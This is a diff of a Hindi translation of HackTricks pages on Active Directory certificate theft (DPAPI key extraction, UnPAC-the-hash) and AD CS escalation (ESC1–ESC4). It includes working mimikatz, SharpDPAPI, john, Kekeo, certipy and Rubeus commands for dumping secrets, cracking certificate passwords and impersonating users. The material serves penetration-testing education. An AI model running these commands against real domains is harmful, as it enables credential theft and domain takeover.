में, **प्रमाणपत्र निजी कुंजियों को DPAPI द्वारा सुरक्षित किया जाता है**। यह पहचानना महत्वपूर्ण है कि **उपयोगकर्ता और मशीन निजी कुंजियों के लिए भंडारण स्थान** भिन्न होते हैं, और फ़ाइल संरचनाएं ऑपरेटिंग सिस्टम द्वारा उपयोग किए जाने वाले क्रिप्टोग्राफिक API के आधार पर भिन्न होती हैं। **SharpDPAPI** एक उपकरण है जो DPAPI ब्लॉब्स को डिक्रिप्ट करते समय इन भिन्नताओं को स्वचालित रूप से नेविगेट कर सकता है। -**User certificates** मुख्य रूप से रजिस्ट्री में `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` के तहत स्थित होते हैं, लेकिन कुछ `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` निर्देशिका में भी मिल सकते हैं। इन प्रमाणपत्रों के लिए संबंधित **निजी कुंजियाँ** आमतौर पर `%APPDATA%\Microsoft\Crypto\RSA\User SID\` में **CAPI** कुंजियों के लिए और `%APPDATA%\Microsoft\Crypto\Keys\` में **CNG** कुंजियों के लिए संग्रहीत होती हैं। +**उपयोगकर्ता प्रमाणपत्र** मुख्य रूप से रजिस्ट्री में `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates` के तहत स्थित होते हैं, लेकिन कुछ `%APPDATA%\Microsoft\SystemCertificates\My\Certificates` निर्देशिका में भी मिल सकते हैं। इन प्रमाणपत्रों के लिए संबंधित **निजी कुंजियाँ** आमतौर पर `%APPDATA%\Microsoft\Crypto\RSA\User SID\` में **CAPI** कुंजियों के लिए और `%APPDATA%\Microsoft\Crypto\Keys\` में **CNG** कुंजियों के लिए संग्रहीत होती हैं। -To **extract a certificate and its associated private key**, the process involves: +एक प्रमाणपत्र और इसकी संबंधित निजी कुंजी को **निकालने के लिए**, प्रक्रिया में शामिल हैं: -1. **Selecting the target certificate** from the user’s store and retrieving its key store name. -2. **Locating the required DPAPI masterkey** to decrypt the corresponding private key. -3. **Decrypting the private key** by utilizing the plaintext DPAPI masterkey. +1. उपयोगकर्ता के स्टोर से **लक्षित प्रमाणपत्र का चयन करना** और इसकी कुंजी स्टोर नाम प्राप्त करना। +2. संबंधित निजी कुंजी को डिक्रिप्ट करने के लिए आवश्यक DPAPI मास्टरकी को **स्थानांतरित करना**। +3. स्पष्ट पाठ DPAPI मास्टरकी का उपयोग करके **निजी कुंजी को डिक्रिप्ट करना**। -For **acquiring the plaintext DPAPI masterkey**, the following approaches can be used: +स्पष्ट पाठ DPAPI मास्टरकी प्राप्त करने के लिए, निम्नलिखित दृष्टिकोणों का उपयोग किया जा सकता है: ```bash # With mimikatz, when running in the user's context dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc @@ -52,7 +53,7 @@ dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc # With mimikatz, if the user's password is known dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS ``` -मास्टरकी फ़ाइलों और प्राइवेट की फ़ाइलों के डिक्रिप्शन को सरल बनाने के लिए, [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) से `certificates` कमांड फायदेमंद साबित होता है। यह प्राइवेट की और संबंधित सर्टिफिकेट्स को डिक्रिप्ट करने के लिए `/pvk`, `/mkfile`, `/password`, या `{GUID}:KEY` को आर्गुमेंट के रूप में स्वीकार करता है, और इसके बाद एक `.pem` फ़ाइल उत्पन्न करता है। +मास्टरकी फ़ाइलों और प्राइवेट की फ़ाइलों के डिक्रिप्शन को सरल बनाने के लिए, [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) का `certificates` कमांड फायदेमंद साबित होता है। यह प्राइवेट कीज़ और संबंधित सर्टिफिकेट्स को डिक्रिप्ट करने के लिए `/pvk`, `/mkfile`, `/password`, या `{GUID}:KEY` को आर्गुमेंट के रूप में स्वीकार करता है, और इसके बाद एक `.pem` फ़ाइल उत्पन्न करता है। ```bash # Decrypting using SharpDPAPI SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt @@ -62,24 +63,24 @@ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provid ``` ## Machine Certificate Theft via DPAPI – THEFT3 -Windows द्वारा रजिस्ट्री में `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` में संग्रहीत मशीन प्रमाणपत्र और संबंधित निजी कुंजी `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI के लिए) और `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG के लिए) में स्थित होती हैं, जो मशीन के DPAPI मास्टर कुंजियों का उपयोग करके एन्क्रिप्ट की जाती हैं। इन कुंजियों को डोमेन के DPAPI बैकअप कुंजी के साथ डिक्रिप्ट नहीं किया जा सकता; इसके बजाय, **DPAPI_SYSTEM LSA सीक्रेट**, जिसे केवल SYSTEM उपयोगकर्ता एक्सेस कर सकता है, की आवश्यकता होती है। +Windows द्वारा रजिस्ट्री में `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` पर संग्रहीत मशीन प्रमाणपत्र और संबंधित निजी कुंजी `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI के लिए) और `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG के लिए) में स्थित हैं, मशीन के DPAPI मास्टर कुंजियों का उपयोग करके एन्क्रिप्ट की जाती हैं। इन कुंजियों को डोमेन के DPAPI बैकअप कुंजी के साथ डिक्रिप्ट नहीं किया जा सकता; इसके बजाय, **DPAPI_SYSTEM LSA सीक्रेट**, जिसे केवल SYSTEM उपयोगकर्ता एक्सेस कर सकता है, की आवश्यकता होती है। -मैनुअल डिक्रिप्शन `lsadump::secrets` कमांड को **Mimikatz** में निष्पादित करके DPAPI_SYSTEM LSA सीक्रेट को निकालकर किया जा सकता है, और इसके बाद इस कुंजी का उपयोग मशीन मास्टरकीज़ को डिक्रिप्ट करने के लिए किया जाता है। वैकल्पिक रूप से, Mimikatz का `crypto::certificates /export /systemstore:LOCAL_MACHINE` कमांड का उपयोग CAPI/CNG को पहले वर्णित तरीके से पैच करने के बाद किया जा सकता है। +मैनुअल डिक्रिप्शन `lsadump::secrets` कमांड को **Mimikatz** में निष्पादित करके DPAPI_SYSTEM LSA सीक्रेट को निकालकर प्राप्त किया जा सकता है, और इसके बाद इस कुंजी का उपयोग मशीन मास्टरकी को डिक्रिप्ट करने के लिए किया जाता है। वैकल्पिक रूप से, Mimikatz का `crypto::certificates /export /systemstore:LOCAL_MACHINE` कमांड का उपयोग CAPI/CNG को पहले वर्णित तरीके से पैच करने के बाद किया जा सकता है। -**SharpDPAPI** अपने प्रमाणपत्र कमांड के साथ एक अधिक स्वचालित दृष्टिकोण प्रदान करता है। जब `/machine` ध्वज को ऊंचे अनुमतियों के साथ उपयोग किया जाता है, तो यह SYSTEM में बढ़ता है, DPAPI_SYSTEM LSA सीक्रेट को डंप करता है, इसका उपयोग मशीन DPAPI मास्टरकीज़ को डिक्रिप्ट करने के लिए करता है, और फिर इन प्लेनटेक्स्ट कुंजियों का उपयोग किसी भी मशीन प्रमाणपत्र निजी कुंजी को डिक्रिप्ट करने के लिए लुकअप टेबल के रूप में करता है। +**SharpDPAPI** अपने प्रमाणपत्र कमांड के साथ एक अधिक स्वचालित दृष्टिकोण प्रदान करता है। जब `/machine` ध्वज को ऊंचे अनुमतियों के साथ उपयोग किया जाता है, तो यह SYSTEM में बढ़ता है, DPAPI_SYSTEM LSA सीक्रेट को डंप करता है, इसका उपयोग मशीन DPAPI मास्टरकी को डिक्रिप्ट करने के लिए करता है, और फिर इन प्लेनटेक्स्ट कुंजियों का उपयोग किसी भी मशीन प्रमाणपत्र निजी कुंजी को डिक्रिप्ट करने के लिए लुकअप टेबल के रूप में करता है। ## Finding Certificate Files – THEFT4 प्रमाणपत्र कभी-कभी फ़ाइल सिस्टम के भीतर सीधे पाए जाते हैं, जैसे फ़ाइल शेयर या डाउनलोड फ़ोल्डर में। Windows वातावरण के लिए लक्षित प्रमाणपत्र फ़ाइलों के सबसे सामान्य प्रकार `.pfx` और `.p12` फ़ाइलें हैं। हालांकि कम बार, `.pkcs12` और `.pem` एक्सटेंशन वाली फ़ाइलें भी दिखाई देती हैं। अन्य उल्लेखनीय प्रमाणपत्र-संबंधित फ़ाइल एक्सटेंशन में शामिल हैं: -- `.key` निजी कुंजियों के लिए, -- `.crt`/`.cer` केवल प्रमाणपत्रों के लिए, -- `.csr` प्रमाणपत्र हस्ताक्षर अनुरोधों के लिए, जिसमें प्रमाणपत्र या निजी कुंजियाँ नहीं होती हैं, -- `.jks`/`.keystore`/`.keys` Java कीस्टोर्स के लिए, जो Java अनुप्रयोगों द्वारा उपयोग की जाने वाली प्रमाणपत्रों के साथ निजी कुंजियाँ रख सकते हैं। +- निजी कुंजियों के लिए `.key`, +- केवल प्रमाणपत्रों के लिए `.crt`/`.cer`, +- प्रमाणपत्र साइनिंग अनुरोधों के लिए `.csr`, जिसमें प्रमाणपत्र या निजी कुंजी शामिल नहीं होती हैं, +- Java अनुप्रयोगों द्वारा उपयोग की जाने वाली प्रमाणपत्रों के साथ निजी कुंजी रखने वाले Java कीस्टोर के लिए `.jks`/`.keystore`/`.keys`। इन फ़ाइलों को PowerShell या कमांड प्रॉम्प्ट का उपयोग करके उल्लेखित एक्सटेंशन की खोज करके खोजा जा सकता है। -यदि एक PKCS#12 प्रमाणपत्र फ़ाइल पाई जाती है और यह एक पासवर्ड द्वारा सुरक्षित है, तो `pfx2john.py` का उपयोग करके हैश निकालना संभव है, जो [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) पर उपलब्ध है। इसके बाद, JohnTheRipper का उपयोग पासवर्ड को क्रैक करने का प्रयास करने के लिए किया जा सकता है। +यदि एक PKCS#12 प्रमाणपत्र फ़ाइल पाई जाती है और यह एक पासवर्ड द्वारा सुरक्षित है, तो `pfx2john.py` का उपयोग करके हैश निकालना संभव है, जो [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html) पर उपलब्ध है। इसके बाद, पासवर्ड क्रैक करने के लिए JohnTheRipper का उपयोग किया जा सकता है। ```bash # Example command to search for certificate files in PowerShell Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys @@ -92,18 +93,18 @@ john --wordlist=passwords.txt hash.txt ``` ## NTLM क्रेडेंशियल चोरी PKINIT के माध्यम से – THEFT5 (हैश को UnPAC करें) -दिया गया सामग्री NTLM क्रेडेंशियल चोरी के लिए PKINIT के माध्यम से एक विधि को समझाता है, विशेष रूप से THEFT5 के रूप में लेबल की गई चोरी विधि के माध्यम से। यहाँ एक पुनः व्याख्या की गई है जो निष्क्रिय वॉयस में है, सामग्री को गुमनाम और संक्षिप्त किया गया है जहाँ आवश्यक हो: +दिया गया सामग्री PKINIT के माध्यम से NTLM क्रेडेंशियल चोरी के लिए एक विधि को समझाता है, विशेष रूप से THEFT5 के रूप में लेबल की गई चोरी विधि के माध्यम से। यहाँ एक पुनः व्याख्या की गई है जो निष्क्रिय वॉयस में है, सामग्री को गुमनाम और संक्षिप्त किया गया है जहाँ आवश्यक हो: NTLM प्रमाणीकरण `MS-NLMP` का समर्थन करने के लिए, उन अनुप्रयोगों के लिए जो Kerberos प्रमाणीकरण की सुविधा नहीं देते, KDC को उपयोगकर्ता के NTLM एक-तरफा फ़ंक्शन (OWF) को विशेष रूप से `PAC_CREDENTIAL_INFO` बफर में प्रिविलेज एट्रिब्यूट सर्टिफिकेट (PAC) के भीतर लौटाने के लिए डिज़ाइन किया गया है, जब PKCA का उपयोग किया जाता है। परिणामस्वरूप, यदि कोई खाता PKINIT के माध्यम से प्रमाणीकरण करता है और एक टिकट-ग्रांटिंग टिकट (TGT) प्राप्त करता है, तो एक तंत्र स्वाभाविक रूप से प्रदान किया जाता है जो वर्तमान होस्ट को NTLM हैश को TGT से निकालने की अनुमति देता है ताकि विरासती प्रमाणीकरण प्रोटोकॉल को बनाए रखा जा सके। इस प्रक्रिया में `PAC_CREDENTIAL_DATA` संरचना का डिक्रिप्शन शामिल है, जो मूलतः NTLM प्लेनटेक्स्ट का एक NDR सीरियलाइज्ड चित्रण है। -उपयोगिता **Kekeo**, जो [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) पर उपलब्ध है, का उल्लेख किया गया है कि यह इस विशेष डेटा को शामिल करने वाले TGT का अनुरोध करने में सक्षम है, जिससे उपयोगकर्ता के NTLM की पुनर्प्राप्ति को सुविधाजनक बनाया जा सके। इस उद्देश्य के लिए उपयोग की जाने वाली कमांड इस प्रकार है: +उपयोगिता **Kekeo**, जो [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo) पर उपलब्ध है, का उल्लेख किया गया है जो इस विशेष डेटा को शामिल करने वाले TGT का अनुरोध करने में सक्षम है, इस प्रकार उपयोगकर्ता के NTLM को पुनः प्राप्त करने की सुविधा प्रदान करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कमांड इस प्रकार है: ```bash tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` **`Rubeus`** इस जानकारी को विकल्प **`asktgt [...] /getcredentials`** के साथ भी प्राप्त कर सकता है। -इसके अतिरिक्त, यह नोट किया गया है कि Kekeo स्मार्टकार्ड-संरक्षित प्रमाणपत्रों को संसाधित कर सकता है, बशर्ते कि पिन को पुनः प्राप्त किया जा सके, जिसका संदर्भ [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) पर दिया गया है। यह समान क्षमता **Rubeus** द्वारा समर्थित बताई गई है, जो [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) पर उपलब्ध है। +इसके अतिरिक्त, यह नोट किया गया है कि Kekeo स्मार्टकार्ड-संरक्षित प्रमाणपत्रों को संसाधित कर सकता है, बशर्ते कि पिन को प्राप्त किया जा सके, जिसका संदर्भ [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe) पर दिया गया है। यह क्षमता **Rubeus** द्वारा भी समर्थित है, जो [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus) पर उपलब्ध है। -यह व्याख्या NTLM क्रेडेंशियल चोरी की प्रक्रिया और उपकरणों को संक्षेप में प्रस्तुत करती है, जो PKINIT के माध्यम से NTLM हैश की पुनः प्राप्ति पर केंद्रित है, जो PKINIT का उपयोग करके प्राप्त TGT के माध्यम से होती है, और उन उपयोगिताओं पर जो इस प्रक्रिया को सुविधाजनक बनाती हैं। +यह व्याख्या NTLM क्रेडेंशियल चोरी की प्रक्रिया और उपकरणों को संक्षेप में प्रस्तुत करती है, जो PKINIT के माध्यम से NTLM हैश की पुनर्प्राप्ति पर केंद्रित है, जो PKINIT का उपयोग करके प्राप्त TGT के माध्यम से होती है, और उन उपयोगिताओं पर जो इस प्रक्रिया को सुविधाजनक बनाती हैं। {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index 32df210c5..4463df296 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -21,14 +21,14 @@ - **प्रमाणपत्र टेम्पलेट्स को EKUs को परिभाषित करने के लिए कॉन्फ़िगर किया गया है जो प्रमाणीकरण को सुविधाजनक बनाते हैं:** - Extended Key Usage (EKU) पहचानकर्ता जैसे Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), या कोई EKU (SubCA) शामिल हैं। - **प्रमाणपत्र हस्ताक्षर अनुरोध (CSR) में subjectAltName शामिल करने की क्षमता टेम्पलेट द्वारा अनुमति दी गई है:** -- Active Directory (AD) पहचान सत्यापन के लिए प्रमाणपत्र में subjectAltName (SAN) को प्राथमिकता देता है यदि यह मौजूद है। इसका मतलब है कि CSR में SAN निर्दिष्ट करके, किसी भी उपयोगकर्ता (जैसे, एक डोमेन प्रशासक) का अनुकरण करने के लिए एक प्रमाणपत्र का अनुरोध किया जा सकता है। यह दर्शाता है कि क्या अनुरोधकर्ता द्वारा SAN निर्दिष्ट किया जा सकता है, प्रमाणपत्र टेम्पलेट के AD ऑब्जेक्ट में `mspki-certificate-name-flag` प्रॉपर्टी के माध्यम से। यह प्रॉपर्टी एक बिटमास्क है, और `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ध्वज की उपस्थिति अनुरोधकर्ता द्वारा SAN के निर्दिष्ट करने की अनुमति देती है। +- Active Directory (AD) पहचान सत्यापन के लिए प्रमाणपत्र में subjectAltName (SAN) को प्राथमिकता देता है यदि यह मौजूद है। इसका मतलब है कि CSR में SAN निर्दिष्ट करके, किसी भी उपयोगकर्ता (जैसे, एक डोमेन प्रशासक) का अनुकरण करने के लिए एक प्रमाणपत्र अनुरोध किया जा सकता है। यह दर्शाता है कि क्या अनुरोधकर्ता द्वारा SAN निर्दिष्ट किया जा सकता है, प्रमाणपत्र टेम्पलेट के AD ऑब्जेक्ट में `mspki-certificate-name-flag` प्रॉपर्टी के माध्यम से। यह प्रॉपर्टी एक बिटमास्क है, और `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ध्वज की उपस्थिति अनुरोधकर्ता द्वारा SAN के निर्दिष्ट करने की अनुमति देती है। > [!CAUTION] -> उल्लिखित कॉन्फ़िगरेशन निम्न-विशिष्ट उपयोगकर्ताओं को किसी भी पसंद के SAN के साथ प्रमाणपत्रों का अनुरोध करने की अनुमति देता है, जिससे Kerberos या SChannel के माध्यम से किसी भी डोमेन प्रिंसिपल के रूप में प्रमाणीकरण सक्षम होता है। +> उल्लिखित कॉन्फ़िगरेशन निम्न-विशिष्ट उपयोगकर्ताओं को किसी भी पसंद के SAN के साथ प्रमाणपत्र अनुरोध करने की अनुमति देता है, जिससे Kerberos या SChannel के माध्यम से किसी भी डोमेन प्रिंसिपल के रूप में प्रमाणीकरण सक्षम होता है। यह सुविधा कभी-कभी HTTPS या होस्ट प्रमाणपत्रों के तात्कालिक निर्माण का समर्थन करने के लिए उत्पादों या तैनाती सेवाओं द्वारा सक्षम की जाती है, या समझ की कमी के कारण। -यह नोट किया गया है कि इस विकल्प के साथ एक प्रमाणपत्र बनाने पर एक चेतावनी उत्पन्न होती है, जो तब नहीं होती जब एक मौजूदा प्रमाणपत्र टेम्पलेट (जैसे `WebServer` टेम्पलेट, जिसमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` सक्षम है) को डुप्लिकेट किया जाता है और फिर प्रमाणीकरण OID शामिल करने के लिए संशोधित किया जाता है। +यह नोट किया गया है कि इस विकल्प के साथ प्रमाणपत्र बनाने पर एक चेतावनी उत्पन्न होती है, जो तब नहीं होती जब एक मौजूदा प्रमाणपत्र टेम्पलेट (जैसे `WebServer` टेम्पलेट, जिसमें `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` सक्षम है) को डुप्लिकेट किया जाता है और फिर प्रमाणीकरण OID शामिल करने के लिए संशोधित किया जाता है। ### Abuse @@ -65,11 +65,11 @@ AD फॉरेस्ट के कॉन्फ़िगरेशन स्क 4. प्रमाणपत्र टेम्पलेट पर एक अत्यधिक अनुमति देने वाला सुरक्षा वर्णनकर्ता निम्न-privileged उपयोगकर्ताओं को प्रमाणपत्र नामांकन अधिकार प्रदान करता है। 5. **प्रमाणपत्र टेम्पलेट को Any Purpose EKU या कोई EKU शामिल करने के लिए परिभाषित किया गया है।** -**Any Purpose EKU** एक हमलावर द्वारा **किसी भी उद्देश्य** के लिए प्रमाणपत्र प्राप्त करने की अनुमति देता है, जिसमें क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड साइनिंग, आदि शामिल हैं। इस परिदृश्य का लाभ उठाने के लिए **ESC3 के लिए उपयोग की गई तकनीक** का उपयोग किया जा सकता है। +**Any Purpose EKU** एक हमलावर को **किसी भी उद्देश्य** के लिए प्रमाणपत्र प्राप्त करने की अनुमति देता है, जिसमें क्लाइंट प्रमाणीकरण, सर्वर प्रमाणीकरण, कोड साइनिंग, आदि शामिल हैं। इसी **तकनीक का उपयोग ESC3 के लिए** इस परिदृश्य का लाभ उठाने के लिए किया जा सकता है। **कोई EKUs** नहीं होने वाले प्रमाणपत्र, जो अधीनस्थ CA प्रमाणपत्र के रूप में कार्य करते हैं, को **किसी भी उद्देश्य** के लिए दुरुपयोग किया जा सकता है और **नए प्रमाणपत्रों पर हस्ताक्षर करने के लिए भी उपयोग किया जा सकता है**। इसलिए, एक हमलावर एक अधीनस्थ CA प्रमाणपत्र का उपयोग करके नए प्रमाणपत्रों में मनमाने EKUs या फ़ील्ड निर्दिष्ट कर सकता है। -हालांकि, **डोमेन प्रमाणीकरण** के लिए बनाए गए नए प्रमाणपत्र कार्य नहीं करेंगे यदि अधीनस्थ CA **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है, जो डिफ़ॉल्ट सेटिंग है। फिर भी, एक हमलावर **किसी भी EKU** और मनमाने प्रमाणपत्र मानों के साथ **नए प्रमाणपत्र** बना सकता है। इन्हें संभावित रूप से **कई उद्देश्यों** (जैसे, कोड साइनिंग, सर्वर प्रमाणीकरण, आदि) के लिए दुरुपयोग किया जा सकता है और नेटवर्क में अन्य अनुप्रयोगों जैसे SAML, AD FS, या IPSec के लिए महत्वपूर्ण प्रभाव हो सकते हैं। +हालांकि, **डोमेन प्रमाणीकरण** के लिए बनाए गए नए प्रमाणपत्र कार्य नहीं करेंगे यदि अधीनस्थ CA **`NTAuthCertificates`** ऑब्जेक्ट द्वारा विश्वसनीय नहीं है, जो डिफ़ॉल्ट सेटिंग है। फिर भी, एक हमलावर **किसी भी EKU** और मनमाने प्रमाणपत्र मानों के साथ **नए प्रमाणपत्र** बना सकता है। इन्हें संभावित रूप से **कई उद्देश्यों** (जैसे, कोड साइनिंग, सर्वर प्रमाणीकरण, आदि) के लिए **दुरुपयोग** किया जा सकता है और नेटवर्क में अन्य अनुप्रयोगों जैसे SAML, AD FS, या IPSec के लिए महत्वपूर्ण प्रभाव हो सकते हैं। AD Forest के कॉन्फ़िगरेशन स्कीमा के भीतर इस परिदृश्य से मेल खाने वाले टेम्पलेट्स को सूचीबद्ध करने के लिए, निम्न LDAP क्वेरी चलाई जा सकती है: ``` @@ -79,11 +79,11 @@ AD Forest के कॉन्फ़िगरेशन स्कीमा के ### Explanation -यह परिदृश्य पहले और दूसरे की तरह है लेकिन **दूसरे EKU** (Certificate Request Agent) और **2 विभिन्न टेम्पलेट्स** का **दुरुपयोग** करता है (इसलिए इसमें 2 सेट की आवश्यकताएँ हैं), +यह परिदृश्य पहले और दूसरे की तरह है लेकिन **भिन्न EKU** (Certificate Request Agent) और **2 भिन्न टेम्पलेट्स** का **दुरुपयोग** करता है (इसलिए इसमें 2 सेट की आवश्यकताएँ हैं), **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), जिसे Microsoft दस्तावेज़ में **Enrollment Agent** के रूप में जाना जाता है, एक प्रिंसिपल को **दूसरे उपयोगकर्ता** की ओर से **सर्टिफिकेट** के लिए **नामांकित** करने की अनुमति देता है। -**“enrollment agent”** एक ऐसे **टेम्पलेट** में नामांकित होता है और परिणामस्वरूप प्राप्त **सर्टिफिकेट का उपयोग दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षरित करने के लिए** करता है। फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता है**, एक **टेम्पलेट** में नामांकित होता है जो **“की ओर से नामांकित करने की अनुमति देता है”**, और CA **“दूसरे” उपयोगकर्ता** के लिए एक **सर्टिफिकेट** के साथ प्रतिक्रिया करता है। +**“enrollment agent”** एक ऐसे **टेम्पलेट** में नामांकित होता है और परिणामस्वरूप प्राप्त **सर्टिफिकेट का उपयोग दूसरे उपयोगकर्ता की ओर से CSR को सह-हस्ताक्षरित करने के लिए** करता है। फिर यह **सह-हस्ताक्षरित CSR** को CA को **भेजता** है, एक **टेम्पलेट** में नामांकित होता है जो **“की ओर से नामांकित करने की अनुमति देता है”**, और CA **“दूसरे” उपयोगकर्ता** का **सर्टिफिकेट** के साथ प्रतिक्रिया करता है। **Requirements 1:** @@ -97,7 +97,7 @@ AD Forest के कॉन्फ़िगरेशन स्कीमा के - Enterprise CA निम्न-privileged उपयोगकर्ताओं को नामांकन अधिकार प्रदान करता है। - प्रबंधक अनुमोदन को बायपास किया गया है। -- टेम्पलेट का स्कीमा संस्करण 1 है या 2 से अधिक है, और यह एक Application Policy Issuance Requirement निर्दिष्ट करता है जो Certificate Request Agent EKU की आवश्यकता है। +- टेम्पलेट का स्कीमा संस्करण 1 है या 2 से अधिक है, और यह एक Application Policy Issuance Requirement को निर्दिष्ट करता है जो Certificate Request Agent EKU की आवश्यकता है। - सर्टिफिकेट टेम्पलेट में परिभाषित EKU डोमेन प्रमाणीकरण की अनुमति देता है। - CA पर नामांकन एजेंटों के लिए प्रतिबंध लागू नहीं होते हैं। @@ -117,9 +117,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca # Use Rubeus with the certificate to authenticate as the other user Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf ``` -**उपयोगकर्ता** जिन्हें **नामांकन एजेंट प्रमाणपत्र** प्राप्त करने की अनुमति है, उन टेम्पलेट्स में जिनमें नामांकन **एजेंट** नामांकित होने की अनुमति है, और **खाते** जिनके लिए नामांकन एजेंट कार्य कर सकता है, को एंटरप्राइज CA द्वारा सीमित किया जा सकता है। यह `certsrc.msc` **स्नैप-इन** को खोलकर, **CA पर राइट-क्लिक** करके, **गुण** पर क्लिक करके, और फिर “Enrollment Agents” टैब पर **नेविगेट** करके प्राप्त किया जाता है। +**उपयोगकर्ता** जिन्हें **नामांकन एजेंट प्रमाणपत्र** प्राप्त करने की अनुमति है, उन टेम्पलेट्स में जिनमें नामांकन **एजेंट** नामांकित होने की अनुमति है, और **खातों** के लिए जिनके पक्ष में नामांकन एजेंट कार्य कर सकता है, को एंटरप्राइज CA द्वारा सीमित किया जा सकता है। यह `certsrc.msc` **स्नैप-इन** को खोलकर, **CA पर राइट-क्लिक** करके, **गुण** पर क्लिक करके, और फिर “Enrollment Agents” टैब पर **नेविगेट** करके प्राप्त किया जाता है। -हालांकि, यह noted किया गया है कि CA के लिए **डिफ़ॉल्ट** सेटिंग “**नामांकन एजेंटों को प्रतिबंधित न करें**” है। जब नामांकन एजेंटों पर प्रतिबंध को प्रशासकों द्वारा सक्षम किया जाता है, तो इसे “Restrict enrollment agents” पर सेट करने पर, डिफ़ॉल्ट कॉन्फ़िगरेशन अत्यधिक अनुमति देने वाला रहता है। यह **Everyone** को सभी टेम्पलेट्स में नामांकित होने की अनुमति देता है। +हालांकि, यह noted किया गया है कि CA के लिए **डिफ़ॉल्ट** सेटिंग “**नामांकन एजेंटों को प्रतिबंधित न करें**” है। जब नामांकन एजेंटों पर प्रतिबंध को प्रशासकों द्वारा सक्षम किया जाता है, तो इसे “Restrict enrollment agents” पर सेट करने पर, डिफ़ॉल्ट कॉन्फ़िगरेशन अत्यधिक अनुमति देने वाला रहता है। यह **सभी** को किसी के रूप में सभी टेम्पलेट्स में नामांकित होने की अनुमति देता है। ## Vulnerable Certificate Template Access Control - ESC4 @@ -127,12 +127,12 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password **प्रमाणपत्र टेम्पलेट्स** पर **सुरक्षा विवरण** उन **अनुमतियों** को परिभाषित करता है जो विशिष्ट **AD प्रिंसिपल** टेम्पलेट के संबंध में रखते हैं। -यदि एक **हमलावर** के पास **टेम्पलेट** को **बदलने** और **पिछले अनुभागों** में उल्लिखित किसी भी **शोषण योग्य गलत कॉन्फ़िगरेशन** को लागू करने के लिए आवश्यक **अनुमतियाँ** हैं, तो विशेषाधिकार वृद्धि को सक्षम किया जा सकता है। +यदि एक **हमलावर** के पास आवश्यक **अनुमतियाँ** हैं ताकि वह **टेम्पलेट** को **बदल** सके और **पिछले अनुभागों** में उल्लिखित किसी भी **शोषण योग्य गलत कॉन्फ़िगरेशन** को लागू कर सके, तो विशेषाधिकार वृद्धि को सक्षम किया जा सकता है। प्रमाणपत्र टेम्पलेट्स पर लागू होने वाली महत्वपूर्ण अनुमतियाँ शामिल हैं: - **Owner:** वस्तु पर निहित नियंत्रण प्रदान करता है, जिससे किसी भी विशेषता को संशोधित किया जा सकता है। -- **FullControl:** वस्तु पर पूर्ण अधिकार प्रदान करता है, जिसमें किसी भी विशेषता को बदलने की क्षमता शामिल है। +- **FullControl:** वस्तु पर पूर्ण अधिकार सक्षम करता है, जिसमें किसी भी विशेषता को बदलने की क्षमता शामिल है। - **WriteOwner:** हमलावर के नियंत्रण में एक प्रिंसिपल के लिए वस्तु के मालिक को बदलने की अनुमति देता है। - **WriteDacl:** पहुँच नियंत्रण को समायोजित करने की अनुमति देता है, संभावित रूप से हमलावर को FullControl प्रदान करता है। - **WriteProperty:** किसी भी वस्तु की संपत्तियों को संपादित करने की अनुमति देता है। @@ -145,11 +145,11 @@ Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password ESC4 तब होता है जब एक उपयोगकर्ता के पास एक प्रमाणपत्र टेम्पलेट पर लिखने के अधिकार 